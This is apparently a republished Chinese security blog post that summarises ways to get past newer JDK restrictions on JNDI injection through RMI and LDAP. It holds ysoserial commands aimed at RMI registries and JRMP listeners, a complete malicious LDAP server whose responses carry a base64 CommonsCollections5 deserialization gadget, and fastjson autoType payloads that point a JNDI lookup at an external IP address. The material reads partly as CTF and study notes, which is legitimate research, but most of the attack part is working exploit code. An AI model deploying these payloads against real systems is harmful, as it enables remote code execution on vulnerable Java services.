关于RMI+LDAP+JNDI高版本注入bypass的一些总结

只启用RMI服务时,这时候RMI客户端能够去打服务端,有两种情况,第一种就是利用服务端本地的gadget,具体要看服务端pom.xml文件

比如yso中yso工具中已经集合了很多gadget chain,后面需要花时间好好研究研究这个工具来学习java的一些特性

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第1张图片

 本地利用yso的打rmi注册表的模块

java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 9999 CommonsCollections1 calc.exe

此时在jdk1.7.0_21和jdk1.7.0_25以及jdk1.8.0上都可以成功,然而在http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/这篇文章中说到jdk8u121以后进行了一定的限制

 jdk1.8.0_202测试如下:

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第2张图片

利用JRMP协议的直接socket通信传输序列化数据到服务端在jdk版本上也有限制,因为两种攻击方式从根本上来讲都是在服务端接受序列化数据然后反序列化,所以这里报错肯定是一样的

jdk1.8.0_202测试如下,

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第3张图片

但是这里,上面的文章提出了一种新的利用方法即利用UnicastRef类的对象,其可以进行反序列化,通过其使受害者服务器回连我们的vps上监听的JRMPListener,从而去打,因此优先性上yso中JRMPClient性能由于RMIRegistryExploit,此时的攻击流程为:

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第4张图片

 

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollecitons1 'calc.exe'

java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第5张图片

 上面这张图借用https://xz.aliyun.com/t/6633啦啦师傅的一张图,也写出了jdk一些版本开始的限制

RMI动态类加载(指定远程codebase)主要相关属性:java.rmi.server.useCodebaseOnly=false,到jdk7u21时就不能成功了

JNDI+RMI加载相关属性:com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase,不加打到8u112,112的后一个版本jdk121即不可成功

即使设置System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true")为true后可以打到jdk8u181,191也不行了

JNDI+LDAP相关属性:com.sun.jndi.ldap.object.trustURLCodebase

利用客户端指定javacodebase来加载远程class文件,这种需要有useCodebaseOnly的限制和securityManager的限制

ldap高版本的也做了一定的限制,利用JNDI+LDAP本地测试可以一直到jdk8u181,到191以后ldap就不能成功了。

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第6张图片

jdk>1.8.0_191:

高版本对JVM对通过Reference来加载远程远程工程类也通过trustURLcodebase为false做了限制,但是如果受害者本地的gadget存在漏洞那么也能打。

那么肯定要起一个LDAPServer:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.FileNotFoundException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer
{
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main(String[] agv)
    {
        int port = 1389;
        String args[] = {"http://localhost:8000/#Exploit"};
        if ((args.length < 1) || (args[0].indexOf('#') < 0))
        {
            System.err.println(LDAPServer.class.getSimpleName() + "  []");
            System.exit(-1);
        }
        else if (args.length > 1)
        {
            port = Integer.parseInt(args[1]);
        }
        try
        {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[] { "dc=example,dc=com" });
            config.setListenerConfigs(
                    new InMemoryListenerConfig[] {
                            new InMemoryListenerConfig(
                                    "listen",
                                    InetAddress.getByName("0.0.0.0"), port,
                                    ServerSocketFactory.getDefault(),
                                    SocketFactory.getDefault(),
                                    (SSLSocketFactory)SSLSocketFactory.getDefault()) }
            );
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor
            extends InMemoryOperationInterceptor
    {
        private URL codebase;
        public OperationInterceptor(URL cb)
        {
            this.codebase = cb;
        }
        public void processSearchResult(InMemoryInterceptedSearchResult result)
        {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try
            {
                sendResult(result, base, e);
            }
            catch (Exception e1)
            {
                e1.printStackTrace();
            }
        }
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
                throws LDAPException, MalformedURLException, FileNotFoundException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());





            //jjj.toString()
       //gadget 内容放到 javaSerializeData中
            try {
                e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofa" +
                        "q2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlv" +
                        "btD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAV" +
                        "TGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5n" +
                        "O1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVz" +
                        "c2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5T" +
                        "dGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFj" +
                        "ZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAI" +
                        "ZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fk" +
                        "cy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2Jq" +
                        "ZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJh" +
                        "dGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xs" +
                        "ZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51" +
                        "dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZM" +
                        "amF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwAB" +
                        "SQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rp" +
                        "b25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9M" +
                        "amF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMu" +
                        "bWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2Nv" +
                        "bGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9u" +
                        "cy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0" +
                        "AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9y" +
                        "Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAA" +
                        "BXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFu" +
                        "c2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGlt" +
                        "ZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3Jz" +
                        "Lkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmpl" +
                        "Y3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7" +
                        "eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVy" +
                        "ABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAA" +
                        "AAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAAC" +
                        "cHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAA" +
                        "AAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAA" +
                        "AXQACGNhbGMuZXhldAAEZXhlY3VxAH4AMgAAAAFxAH4AN3NxAH4AJ3NyABFqYXZhLmxhbmcuSW50" +
                        "ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAA" +
                        "AAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNo" +
                        "b2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA=="));
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (ParseException ex) {
                ex.printStackTrace();
            }
        }


    }
}

客户端只要对服务端进行查询即可

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import com.alibaba.fastjson.JSON;
public class LDAPClient1 {
    public static void main(String[] args) throws NamingException {
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        //System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true");
        Context ctx = new InitialContext();
        //Object object =  ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
        Object object = ctx.lookup("ldap://127.0.0.1:1389/Exploit");
        //String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/a\",\"autoCommit\":\"true\" }";
        //Object obj = JSON.parseObject(payload);
    }
}

高版本的java对gadget可能有限制,因此要选用合适的gadget进行测试

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第7张图片

 下断点分析一下:

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第8张图片

 在G:/java_env/java1.8.0_202/jdk1.8.0_202/jre/lib/rt.jar!/com/sun/jndi/ldap/LdapCtx.class中,此时调用类obj的decodeObject函数来对javaSerializeData中的数据进行反序列化

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第9张图片

 然后在decodeObject函数中将对序列化存储的字符数据还原为对象

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第10张图片

 这里首先通过BasicAttribute拿到序列化数据的数组

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第11张图片

然后在deserializeObject函数中对var20调用readObject()函数触发利用链,此时用的CommenCollections5,打3.1

在空指针那个题目中1.2.61的fastjson开了autoType的,有两种利用方法:

第一种:

{"@type":"org.apache.commons.proxy.provider.remoting.RmiProvider","host":"127.0.0.1",port:"1099","name":"1"}

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第12张图片

 这里明显存在RMI的利用,getObject函数的lookup函数,并且因此可以通过jrmp来打

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第13张图片

 其中这里host和port和name都可控

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第14张图片

 测试结果:

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第15张图片

第二种:

利用SessionBeanProvider这个类

关于RMI+LDAP+JNDI高版本注入bypass的一些总结_第16张图片

其getObject函数中存在典型的JNDI注入,这里的jndiName也是可以控制的,payload如下

{"@\x74ype":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider", "jndiName":"ldap://104.224.146.159:1389/Exploit","Object":"a"}

其中payload要打两次,因为第一次需要将payload放进mapping,第二次在检测黑名单之前就能够在mapping中找到该类从而返回claaz

参考:

1.https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247486485&idx=1&sn=ce367bafca4d0ca3130902568f7754b4&chksm=e89e24cddfe9addb0430d52e6e8c036ee94c2d84886d821dfea497d0dae323f8cfe4ef5eb38d&mpshare=1&scene=23&srcid=&sharer_sharetime=1579754849330&sharer_shareid=ae6683d6c0e7df9a0b7c15e7cacf6b3c#rd  (空指针wp)

2.https://mp.weixin.qq.com/s?__biz=MzU4MTg1NzAzMA==&mid=2247483796&idx=1&sn=ce4249ba61d7f402a1211e508f83d2b4&chksm=fd407bfdca37f2ebd51202f8221d320ccd639fd48d6a2adcb53c17ccb143fc3f037e6198662a&mpshare=1&scene=23&srcid=&sharer_sharetime=1579754892212&sharer_shareid=ae6683d6c0e7df9a0b7c15e7cacf6b3c#rd  

(空指针wp)

3.http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/

java高版本打rmi注册表

4.https://xz.aliyun.com/t/2650#toc-1

你可能感兴趣的:(关于RMI+LDAP+JNDI高版本注入bypass的一些总结)